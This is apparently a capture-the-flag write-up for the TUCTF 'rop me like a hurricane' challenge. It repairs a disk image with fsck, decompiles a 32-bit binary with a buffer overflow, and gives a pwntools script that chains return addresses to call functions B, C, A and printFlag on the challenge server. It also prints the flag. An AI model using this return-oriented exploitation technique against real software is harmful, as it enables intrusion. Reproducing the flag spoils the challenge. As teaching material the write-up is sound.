rop me like a hurricane [mega]

rop me like a hurricane

Didn't get an alien in Area51, but I found this...

Recon

Part of the mega challenge. The image file out of Cup of Joe is used to solve this challenge. The image is broken, but can be mounted after a fsck.

$ fsck.ext4 broken.img 
e2fsck 1.44.1 (24-Mar-2018)
Superblock has an invalid journal (inode 8).
Clear<y>? yes
*** journal has been deleted ***

Resize inode not valid.  Recreate<y>? yes
Pass 1: Checking inodes, blocks, and sizes
Root inode is not a directory.  Clear<y>? yes
Pass 2: Checking directory structure
Entry '..' in <2>/<65281> (65281) has deleted/unused inode 2.  Clear<y>? yes
Pass 3: Checking directory connectivity
Root inode not allocated.  Allocate<y>? yes
Unconnected directory inode 65281 (...)
Connect to /lost+found<y>? yes
/lost+found not found.  Create<y>? yes
Pass 4: Checking reference counts
Inode 65281 ref count is 3, should be 2.  Fix<y>? yes
Pass 5: Checking group summary information
Block bitmap differences:  +(1--263) +(278--279) +(294--803) +4376 +(8193--8995) +(10241--12288) -(139265--147456)
Fix<y>? yes
Free blocks count wrong for group #0 (3815, counted=3816).
Fix<y>? yes
Free blocks count wrong for group #17 (0, counted=8192).
Fix<y>? yes
Free blocks count wrong (447209, counted=455402).
Fix<y>? yes
Inode bitmap differences:  +1 +(3--10)
Fix<y>? yes
Recreate journal<y>? yes
Creating journal (8192 blocks):  Done.

*** journal has been regenerated ***

broken.img: ***** FILE SYSTEM WAS MODIFIED *****
broken.img: 197/122400 files (0.5% non-contiguous), 41070/488280 blocks
$ 
$ sudo mount -o loop -t ext4 broken.img mnt

All files can be found in lost+found, especially the file rop_me_like_a_hurricane.

$ file rop_me_like_a_hurricane 
rop_me_like_a_hurricane: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, BuildID[sha1]=a88febdd45196637e29afc6c5d2b19470e7dc020, for GNU/Linux 3.2.0, not stripped

The main function calls the function pwnme which contains a bufferoverflow.

ssize_t __usercall pwnme@<eax>(int a1@<ebp>)
{
  int v2; // [sp-1Ch] [bp-1Ch]@1
  int v3; // [sp-4h] [bp-4h]@1

  __asm { rep nop ebx }
  v3 = a1;
  sub_80490D0("You got this!\n> ");   // Puts
  return sub_80490C0(0, &v2, 0x40u);  // Read containing bufferoverflow 
}

The file contains several functions which needs to be called in order, so you can call the printFlag function.

char *A()
{
  char *result; // eax@1

  __asm { rep nop ebx }
  result = (char *)_x86_get_pc_thunk_ax() + 11678;
  if ( *(_DWORD *)&result[(_DWORD)(&c - 33632256)] )
  {
    if ( *(_DWORD *)&result[(_DWORD)(&b - 33632256)] )
      *(_DWORD *)&result[(_DWORD)(&a - 33632256)] = 1;
  }
  return result;
}
// 804C03C: using guessed type int a;
// 804C040: using guessed type int b;
// 804C044: using guessed type int c;

//----- (08049288) --------------------------------------------------------
char *B()
{
  char *result; // eax@1

  __asm { rep nop ebx }
  result = (char *)_x86_get_pc_thunk_ax() + 11628;
  *(_DWORD *)&result[(_DWORD)(&b - 33632256)] = 1;
  return result;
}
// 804C040: using guessed type int b;

//----- (080492A6) --------------------------------------------------------
char *C()
{
  char *result; // eax@1

  __asm { rep nop ebx }
  result = (char *)_x86_get_pc_thunk_ax() + 11598;
  if ( *(_DWORD *)&result[(_DWORD)(&b - 33632256)] )
    *(_DWORD *)&result[(_DWORD)(&c - 33632256)] = 1;
  return result;
}
// 804C040: using guessed type int b;
// 804C044: using guessed type int c;

//----- (080492CE) --------------------------------------------------------
int __usercall printFlag@<eax>(int a1@<ebp>)
{
  int v2; // [sp-14h] [bp-14h]@1
  void *v3; // [sp-10h] [bp-10h]@1
  int v4; // [sp-4h] [bp-4h]@1

  __asm { rep nop ebx }
  v4 = a1;
  v3 = sub_80490E0(0x40u);
  v2 = sub_8049100("./flag.txt", 0);
  if ( a && b && c )
  {
    sub_80490C0(v2, v3, 0x40u);
    sub_80490F0((const char *)v3);
  }
  return sub_8049130(v2);
}

We need to call function B, C, A and then printFlag, with that we could simply create a python script to get the flag. The host and port could be found with a simple strings on the binary

Flag

$ ./exploit.py 
[+] Opening connection to chal.tuctf.com on port 31058: Done
 TUCTF{bu7_c4n_y0u_ROP_bl1ndf0ld3d?}

Code

from pwn import *

s = remote('chal.tuctf.com', 31058)

funcA = 0x08049256
funcB = 0x08049288
funcC = 0x080492a6
funcFlag = 0x080492ce

buf  = "A"*28
buf += p32(funcB)
buf += p32(funcC)
buf += p32(funcA)
buf += p32(funcFlag)
buf += "\n"

s.sendafter(">" , buf)
print s.recvline()